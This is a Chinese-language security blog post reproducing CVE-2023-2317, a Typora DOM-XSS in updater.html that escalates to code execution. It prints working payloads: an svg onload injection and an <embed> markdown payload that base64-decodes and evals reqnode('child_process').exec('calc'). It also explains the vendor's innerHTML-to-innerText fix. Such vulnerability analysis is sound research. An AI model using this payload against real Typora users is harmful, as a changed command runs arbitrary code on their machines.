点击蓝字 关注我们
日期:2023-12-12
作者:Obsidian
介绍:Typora远程代码执行漏洞(CVE-2023-2317)的复现与分析。
0x01 写在前面
Typora
在某些特定版本中,存在基于DOM
的XSS
漏洞,允许特定的markdown
文件通过在<embed>
标签中加载typora://app/typemark/updater/updater.html
文件,在Typora
主窗口的上下文中运行任意的JavaScript
代码,从而导致远程代码执行漏洞。
该漏洞公开于 2023-08-19
,又是一个迟来的漏洞分析。
漏洞影响版本:
Typora < 1.6.7
漏洞环境搭建:
在Typora
的官网历史版本中,可下载安装低于1.6.7
的版本,例如:
https://download2.typoraio.cn/windows/typora-setup-x64-1.5.12.exe
0x02 写在中间
要进行远程命令执行,首先要分析基于DOM
的XSS
漏洞。
根据漏洞点,找到对应的文件Typoraresourcesupdaterupdater.html
,以下为精简代码:
<script type="text/javascript">
var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);
var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));
document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});
document.querySelector("#release-panel").src = releaseNoteLink;
</script>
分析代码之前,先来一段名词解释。
名词 | 解释 |
---|---|
window.location.search | 从问号 (?) 开始的 URL(查询部分) |
exec | 用于在字符串中执行正则表达式搜索,并返回匹配的结果 |
decodeURIComponent | 进行URI解码 |
JSON.parse | 将数据转换为 JavaScript 对象,常用于json或数组等 |
querySelector | 用于查询页面中第一个符合规则的元素 |
querySelectorAll | 用于查询页面中所有符合规则的元素 |
innerText | 更改文本内容(不包含html标签)(实体化) |
innerHTML | 允许更改html元素的内容 |
接下来,逐句分析代码。首先前五行,分别通过GET
方式,获取了五个参数,curVersion、newVersion、releaseNoteLink、hideAutoUpdates、labels
。
var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);
var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));
之后将labels
的第五个和第六个元素,经过一系列的字符处理后,插入到当前页面中,由此可知labels
是至少六个元素的数组。
document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
接下来将labels
中的元素,按顺序插入到当前页面中。
也就是图中的0 1 2 3
的标签,由此,我们可以构造如下请求:
updater.html?curVersion=1&newVersion=1&releaseNoteLink=1&hideAutoUpdates=1&labels=["11","22","33","44","55","66"]
通过JSON.parse
将传入的labels
参数的值,转换为了数组,最终结果如下:
由于在对data-label
标签内容进行处理时,采用的是innerHTML
,所以会存在XSS
漏洞,漏洞点位置在labels
参数的前四个元素中的任意一个均可。
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});
构造如下payload
:
updater.html?curVersion=1&newVersion=1&releaseNoteLink=1&hideAutoUpdates=1&labels=["<svg/onload=alert()>","22","33","44","55","66"]
可以看到成功弹窗✌️,至此,基于DOM
的XSS
漏洞分析完成。
下面需要通过特定的方式,在Typora
主窗口中加载updater.html
在Typora
主窗口通过Shift + F12
按键,可打开控制台,可发现使用了typora://
协议来访问文件。
其中 typora://app/typemark/lib.asar
对应的路径是Typoraresourceslib.asar
那么Typoraresourcesupdaterupdater.html
对应的链接就是typora://app/typemark/updater/updater.html
。
通过embed
标签,嵌入html
文件,构造payload
如下:
<embed src="typora://app/typemark/updater/updater.html?curVersion=1&newVersion=1&releaseNoteLink=1&hideAutoUpdates=false&labels=[%22%3csvg%2fonload=alert()%3e%22,%22%22,%22%22,%22%22,%22%22,%22%22]">
成功弹窗✌️,下一步就是通过加载模块,进行命令执行,例如:
require('child_process')
但是通过尝试发现,Typora
使用了reqnode
来替换了require
函数。
或者可通过document.defaultView
来查找相关信息。
那么构造一个最简单的payload
reqnode('child_process').exec('calc')
,避免特殊符号的影响,进行base64
编码cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMnKQ==
,之后通过
atob
函数解码后,采用top.eval
进行执行,payload
如下:
<embed src="typora://app/typemark/updater/updater.html?curVersion=1&newVersion=1&releaseNoteLink=1&hideAutoUpdates=false&labels=[%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMnKQ=='))%3e%22,%22%22,%22%22,%22%22,%22%22,%22%22]">
成功触发计算器✌️。
0x03 写在后面
综合来看,该漏洞的切入点就在于innerHTML
,官方更新后的修补方案,也是将innerHTML
替换为了innerText
进行处理。漏洞整体用到的技术并不十分高深,但是层层递进的逻辑还是非常巧妙的。
参考资料
原文始发于微信公众号(宸极实验室):『漏洞复现』Typora 远程代码执行漏洞复现分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论